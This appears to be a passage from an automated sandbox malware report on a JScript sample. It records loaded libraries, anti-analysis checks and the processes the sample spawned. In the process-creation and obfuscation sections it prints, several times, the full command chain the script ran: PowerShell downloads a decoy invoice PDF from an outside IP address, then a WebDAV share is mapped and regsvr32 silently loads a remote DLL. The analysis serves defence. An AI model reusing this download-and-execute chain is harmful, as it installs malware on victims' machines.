Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5754.js.csv");ITextStream.WriteLine(" entry:8556 f:pluyrattj");ITextStream.WriteLine(" exec:2 f:pluyrattj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49729

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4293			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5053			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep count: 4293 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144	Thread sleep count: 5053 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7304	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7316	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1436	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5668	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1371674448.000002B7808D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: svchost.exe, 00000009.00000002.2596857728.0000020FA322B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpl
Source: net.exe, 00000007.00000002.1371674448.000002B7808D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2597861996.0000020FA8854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1371674448.000002B780878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1151120978889.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

